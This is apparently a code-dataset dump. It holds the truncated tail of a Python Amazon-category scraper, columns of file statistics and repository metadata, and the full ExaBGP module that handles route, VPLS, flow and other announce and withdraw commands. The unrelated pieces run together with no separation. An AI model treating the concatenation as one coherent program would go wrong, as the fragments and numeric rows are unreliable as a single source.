'https://www.amazon.com/s/ref=lp_16225008011_nr_n_8?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229653&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Photography & Graphic Design': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_9?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229614&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Programming & Web Development': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_10?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A5223262011&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Tax Preparation': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_11?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229545&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Utilities': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_12?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A229672&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}, 'Video': { # 'link': 'https://www.amazon.com/s/ref=lp_16225008011_nr_n_13?fst=as%3Aoff&rh=i%3Asoftware-intl-ship%2Cn%3A%2116225008011%2Cn%3A290542&bbn=16225008011&ie=UTF8&qid=1604871099&rnid=16225008011', # 'childs': {}}}}, 'Sports & Outdoors': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dsporting-intl-ship&field-keywords=', # 'childs': {'Outdoor Recreation': { # 'link': 'https://www.amazon.com/s/ref=lp_16225014011_nr_n_0?fst=as%3Aoff&rh=i%3Asporting-intl-ship%2Cn%3A%2116225014011%2Cn%3A706814011&bbn=16225014011&ie=UTF8&qid=1604871119&rnid=16225014011', # 'childs': {}}, 'Sports & Fitness': { # 'link': 'https://www.amazon.com/s/ref=lp_16225014011_nr_n_1?fst=as%3Aoff&rh=i%3Asporting-intl-ship%2Cn%3A%2116225014011%2Cn%3A10971181011&bbn=16225014011&ie=UTF8&qid=1604871119&rnid=16225014011', # 'childs': {}}, 'Fan Shop': { # 'link': 'https://www.amazon.com/s/ref=lp_16225014011_nr_n_2?fst=as%3Aoff&rh=i%3Asporting-intl-ship%2Cn%3A%2116225014011%2Cn%3A3386071&bbn=16225014011&ie=UTF8&qid=1604871119&rnid=16225014011', # 'childs': {}}}}, 'Tools & Home Improvement': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dtools-intl-ship&field-keywords=', # 'childs': {'Appliances': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_0?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A13397451&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Building Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_1?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A551240&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Electrical': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_2?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A495266&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Hardware': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_3?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A511228&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Kitchen & Bath Fixtures': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_4?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A3754161&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Light Bulbs': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_5?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A322525011&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Lighting & Ceiling Fans': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_6?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A495224&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Measuring & Layout Tools': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_7?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A553244&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Paint, Wall Treatments & Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_8?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A228899&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Power & Hand Tools': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_9?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A328182011&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Rough Plumbing': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_10?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A13749581&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Safety & Security': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_11?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A3180231&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Storage & Home Organization': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_12?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A13400631&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}, 'Welding & Soldering': { # 'link': 'https://www.amazon.com/s/ref=lp_256643011_nr_n_13?fst=as%3Aoff&rh=n%3A256643011%2Cn%3A%21468240%2Cn%3A8106310011&bbn=256643011&ie=UTF8&qid=1604871140&rnid=468240', # 'childs': {}}}}, 'Toys & Games': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dtoys-and-games-intl-ship&field-keywords=', # 'childs': {'Arts & Crafts': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_0?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166057011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Baby & Toddler Toys': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_1?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A196601011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Building Toys': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_2?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166092011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Collectible Toys': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_3?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A19431275011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Dolls & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_4?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166118011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Dress Up & Pretend Play': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_5?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166316011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Games & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_6?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166220011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Hobbies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_7?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A276729011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, "Kids' Electronics": { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_8?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166164011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, "Kids' Furniture, Décor & Storage": { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_9?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166210011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Learning & Education': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_10?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166269011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Novelty & Gag Toys': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_11?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166027011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Party Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_12?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A1266203011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Play Vehicles': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_13?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166508011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Puppets & Puppet Theaters': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_14?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166333011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Puzzles': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_15?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166359011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Sports & Outdoor Play': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_16?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166420011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Stuffed Animals & Plush Toys': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_17?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A166461011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Toy Figures & Playsets': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_18?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A165993011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}, 'Tricycles, Scooters & Wagons': { # 'link': 'https://www.amazon.com/s/ref=lp_16225015011_nr_n_19?fst=as%3Aoff&rh=i%3Atoys-and-games-intl-ship%2Cn%3A%2116225015011%2Cn%3A256994011&bbn=16225015011&ie=UTF8&qid=1604871158&rnid=16225015011', # 'childs': {}}}}, 'Video Games': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dvideogames-intl-ship&field-keywords=', # 'childs': {'PlayStation 5': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_0?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A20972781011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'PlayStation 4': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_1?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A6427814011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Xbox Series X & S': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_2?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A20972798011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Xbox One': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_3?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A6469269011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Nintendo Switch': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_4?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A16227128011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'PC': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_5?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A229575&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Mac': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_6?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A229647&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Nintendo 3DS & 2DS': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_7?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A2622269011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'PlayStation Vita': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_8?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A3010556011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Legacy Systems': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_9?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A294940&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Online Game Services': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_10?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A17596052011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Microconsoles': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_11?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A19497043011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}, 'Virtual Reality': { # 'link': 'https://www.amazon.com/s/ref=lp_16225016011_nr_n_12?fst=as%3Aoff&rh=i%3Avideogames-intl-ship%2Cn%3A%2116225016011%2Cn%3A21479453011&bbn=16225016011&ie=UTF8&qid=1604871185&rnid=16225016011', # 'childs': {}}}}} for parentCategory, parentItem in CategoryDictionary.items(): for subCategory, subItem in parentItem['childs'].items(): print('subCategory: {}'.format(subCategory)) if parentCategory == 'Books': print('build tree type 2') else: buildTreeType1(subItem['childs'], subItem['link']) print(CategoryDictionary)
110.236709
408
0.686256
12,097
87,087
4.798628
0.081673
0.040931
0.071629
0.086978
0.835019
0.827852
0.819497
0.808179
0.799583
0.597909
0
0.276072
0.136105
87,087
789
409
110.376426
0.495507
0.866857
0
0.138158
0
0.019737
0.1696
0.084982
0
0
0
0
0
1
0.026316
false
0
0.019737
0
0.098684
0.105263
0
0
0
null
0
0
0
1
1
1
1
1
0
0
1
0
0
0
0
1
1
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
3c9091d2d3fe2dcfc03021363c6221528e231692
19,273
py
Python
src/exabgp/reactor/api/command/announce.py
pierky/exabgp
34be537ae5906c0830b31da1152ae63108ccf911
[ "BSD-3-Clause" ]
1,560
2015-01-01T08:53:05.000Z
2022-03-29T20:22:43.000Z
src/exabgp/reactor/api/command/announce.py
pierky/exabgp
34be537ae5906c0830b31da1152ae63108ccf911
[ "BSD-3-Clause" ]
818
2015-01-01T17:38:40.000Z
2022-03-30T07:29:24.000Z
src/exabgp/reactor/api/command/announce.py
pierky/exabgp
34be537ae5906c0830b31da1152ae63108ccf911
[ "BSD-3-Clause" ]
439
2015-01-06T21:20:41.000Z
2022-03-19T23:24:25.000Z
# encoding: utf-8 """ line/watchdog.py Created by Thomas Mangin on 2017-07-01. Copyright (c) 2009-2017 Exa Networks. All rights reserved. License: 3-clause BSD. (See the COPYRIGHT file) """ from exabgp.reactor.api.command.command import Command from exabgp.reactor.api.command.limit import match_neighbors from exabgp.reactor.api.command.limit import extract_neighbors from exabgp.protocol.ip import NoNextHop from exabgp.bgp.message import OUT from exabgp.bgp.message.update.attribute import NextHop from exabgp.configuration.static import ParseStaticRoute def register_announce(): pass @Command.register('text', 'announce route') def announce_route(self, reactor, service, line): def callback(): try: descriptions, command = extract_neighbors(line) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) yield True return changes = self.api_route(command) if not changes: self.log_failure('command could not parse route in : %s' % command) reactor.processes.answer_error(service) yield True return for change in changes: if not ParseStaticRoute.check(change): self.log_message( 'invalid route for %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) continue change.nlri.action = OUT.ANNOUNCE reactor.configuration.inject_change(peers, change) self.log_message( 'route added to %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False reactor.processes.answer_done(service) except ValueError: self.log_failure('issue parsing the route') reactor.processes.answer_error(service) yield True except IndexError: self.log_failure('issue parsing the route') reactor.processes.answer_error(service) yield True reactor.asynchronous.schedule(service, line, callback()) return True @Command.register('text', 'withdraw route') def withdraw_route(self, reactor, service, line): def callback(): try: descriptions, command = extract_neighbors(line) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) yield True return changes = self.api_route(command) if not changes: self.log_failure('command could not parse route in : %s' % command) reactor.processes.answer_error(service) yield True return for change in changes: # Change the action to withdraw before checking the route change.nlri.action = OUT.WITHDRAW # NextHop is a mandatory field (but we do not require in) if change.nlri.nexthop is NoNextHop: change.nlri.nexthop = NextHop('0.0.0.0') if not ParseStaticRoute.check(change): self.log_message( 'invalid route for %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) continue if reactor.configuration.inject_change(peers, change): self.log_message( 'route removed from %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False else: self.log_failure( 'route not found on %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False reactor.processes.answer_done(service) except ValueError: self.log_failure('issue parsing the route') reactor.processes.answer_error(service) yield True except IndexError: self.log_failure('issue parsing the route') reactor.processes.answer_error(service) yield True reactor.asynchronous.schedule(service, line, callback()) return True @Command.register('text', 'announce vpls') def announce_vpls(self, reactor, service, line): def callback(): try: descriptions, command = extract_neighbors(line) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) yield True return changes = self.api_vpls(command) if not changes: self.log_failure('command could not parse vpls in : %s' % command) reactor.processes.answer_error(service) yield True return for change in changes: change.nlri.action = OUT.ANNOUNCE reactor.configuration.inject_change(peers, change) self.log_message( 'vpls added to %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False reactor.processes.answer_done(service) except ValueError: self.log_failure('issue parsing the vpls') reactor.processes.answer_error(service) yield True except IndexError: self.log_failure('issue parsing the vpls') reactor.processes.answer_error(service) yield True reactor.asynchronous.schedule(service, line, callback()) return True @Command.register('text', 'withdraw vpls') def withdraw_vpls(self, reactor, service, line): def callback(): try: descriptions, command = extract_neighbors(line) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) yield True return changes = self.api_vpls(command) if not changes: self.log_failure('command could not parse vpls in : %s' % command) reactor.processes.answer_error(service) yield True return for change in changes: change.nlri.action = OUT.WITHDRAW if reactor.configuration.inject_change(peers, change): self.log_message( 'vpls removed from %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False else: self.log_failure( 'vpls not found on %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False reactor.processes.answer_done(service) except ValueError: self.log_failure('issue parsing the vpls') reactor.processes.answer_error(service) yield True except IndexError: self.log_failure('issue parsing the vpls') reactor.processes.answer_error(service) yield True reactor.asynchronous.schedule(service, line, callback()) return True @Command.register('text', 'announce attribute') @Command.register('text', 'announce attributes') def announce_attributes(self, reactor, service, line): def callback(): try: descriptions, command = extract_neighbors(line) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) yield True return changes = self.api_attributes(command, peers) if not changes: self.log_failure('command could not parse route in : %s' % command) reactor.processes.answer_error(service) yield True return for change in changes: change.nlri.action = OUT.ANNOUNCE reactor.configuration.inject_change(peers, change) self.log_message( 'route added to %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False reactor.processes.answer_done(service) except ValueError: self.log_failure('issue parsing the route') reactor.processes.answer_error(service) yield True except IndexError: self.log_failure('issue parsing the route') reactor.processes.answer_error(service) yield True reactor.asynchronous.schedule(service, line, callback()) return True @Command.register('text', 'withdraw attributes') def withdraw_attribute(self, reactor, service, line): def callback(): try: descriptions, command = extract_neighbors(line) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) yield True return changes = self.api_attributes(command, peers) if not changes: self.log_failure('command could not parse route in : %s' % command) reactor.processes.answer_error(service) yield True return for change in changes: change.nlri.action = OUT.WITHDRAW if reactor.configuration.inject_change(peers, change): self.log_message( 'route removed from %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False else: self.log_failure( 'route not found on %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False reactor.processes.answer_done(service) except ValueError: self.log_failure('issue parsing the route') reactor.processes.answer_error(service) yield True except IndexError: self.log_failure('issue parsing the route') reactor.processes.answer_error(service) yield True reactor.asynchronous.schedule(service, line, callback()) return True @Command.register('text', 'announce flow') def announce_flow(self, reactor, service, line): def callback(): try: descriptions, command = extract_neighbors(line) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) yield True return changes = self.api_flow(command) if not changes: self.log_failure('command could not parse flow in : %s' % command) reactor.processes.answer_error(service) yield True return for change in changes: change.nlri.action = OUT.ANNOUNCE reactor.configuration.inject_change(peers, change) self.log_message( 'flow added to %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False reactor.processes.answer_done(service) except ValueError: self.log_failure('issue parsing the flow') reactor.processes.answer_error(service) yield True except IndexError: self.log_failure('issue parsing the flow') reactor.processes.answer_error(service) yield True reactor.asynchronous.schedule(service, line, callback()) return True @Command.register('text', 'withdraw flow') def withdraw_flow(self, reactor, service, line): def callback(): try: descriptions, command = extract_neighbors(line) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) yield True return changes = self.api_flow(command) if not changes: self.log_failure('command could not parse flow in : %s' % command) reactor.processes.answer_error(service) yield True return for change in changes: change.nlri.action = OUT.WITHDRAW if reactor.configuration.inject_change(peers, change): self.log_message( 'flow removed from %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) else: self.log_failure( 'flow not found on %s : %s' % (', '.join(peers) if peers else 'all peers', change.extensive()) ) yield False reactor.processes.answer_done(service) except ValueError: self.log_failure('issue parsing the flow') reactor.processes.answer_error(service) yield True except IndexError: self.log_failure('issue parsing the flow') reactor.processes.answer_error(service) yield True reactor.asynchronous.schedule(service, line, callback()) return True @Command.register('text', 'announce eor') def announce_eor(self, reactor, service, command): def callback(self, command, peers): family = self.api_eor(command) if not family: self.log_failure("Command could not parse eor : %s" % command) reactor.processes.answer_error(service) yield True return reactor.configuration.inject_eor(peers, family) self.log_message( "Sent to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers', family.extensive()) ) yield False reactor.processes.answer_done(service) try: descriptions, command = extract_neighbors(command) peers = match_neighbors(reactor.established_peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) return False reactor.asynchronous.schedule(service, command, callback(self, command, peers)) return True except ValueError: self.log_failure('issue parsing the command') reactor.processes.answer_error(service) return False except IndexError: self.log_failure('issue parsing the command') reactor.processes.answer_error(service) return False @Command.register('text', 'announce route-refresh') def announce_refresh(self, reactor, service, command): def callback(self, command, peers): refreshes = self.api_refresh(command) if not refreshes: self.log_failure("Command could not parse route-refresh command : %s" % command) reactor.processes.answer_error(service) yield True return reactor.configuration.inject_refresh(peers, refreshes) for refresh in refreshes: self.log_message( "Sent to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers', refresh.extensive()) ) yield False reactor.processes.answer_done(service) try: descriptions, command = extract_neighbors(command) peers = match_neighbors(reactor.established_peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) return False reactor.asynchronous.schedule(service, command, callback(self, command, peers)) return True except ValueError: self.log_failure('issue parsing the command') reactor.processes.answer_error(service) return False except IndexError: self.log_failure('issue parsing the command') reactor.processes.answer_error(service) return False @Command.register('text', 'announce operational') def announce_operational(self, reactor, service, command): def callback(self, command, peers): operational = self.api_operational(command) if not operational: self.log_failure("Command could not parse operational command : %s" % command) reactor.processes.answer_error(service) yield True return reactor.configuration.inject_operational(peers, operational) self.log_message( "operational message sent to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers', operational.extensive()) ) yield False reactor.processes.answer_done(service) if (command.split() + ['be', 'safe'])[2].lower() not in ( 'asm', 'adm', 'rpcq', 'rpcp', 'apcq', 'apcp', 'lpcq', 'lpcp', ): reactor.processes.answer_done(service) return False try: descriptions, command = extract_neighbors(command) peers = match_neighbors(reactor.peers(), descriptions) if not peers: self.log_failure('no neighbor matching the command : %s' % command) reactor.processes.answer_error(service) return False reactor.asynchronous.schedule(service, command, callback(self, command, peers)) return True except ValueError: self.log_failure('issue parsing the command') reactor.processes.answer_error(service) return False except IndexError: self.log_failure('issue parsing the command') reactor.processes.answer_error(service) return False
37.423301
119
0.577181
1,979
19,273
5.531582
0.071248
0.039006
0.112542
0.108523
0.894309
0.882982
0.882982
0.869827
0.861515
0.847264
0
0.001799
0.336637
19,273
514
120
37.496109
0.854439
0.015203
0
0.806005
0
0
0.116605
0
0
0
0
0
0
1
0.053118
false
0.002309
0.016166
0
0.161663
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b1f8cd4c4d9b720daa4474b39bf2448682d1f777
14,134
py
Python
recover_pjax/apps/questions/views.py
pythonsmallwhite/Club
31797646898fdcdb5e91abbbf43934be78f6436b
[ "Apache-2.0" ]
null
null
null
recover_pjax/apps/questions/views.py
pythonsmallwhite/Club
31797646898fdcdb5e91abbbf43934be78f6436b
[ "Apache-2.0" ]
7
2020-06-05T22:27:23.000Z
2022-03-11T23:57:09.000Z
recover_pjax/apps/questions/views.py
pythonsmallwhite/Club
31797646898fdcdb5e91abbbf43934be78f6436b
[ "Apache-2.0" ]
null
null
null
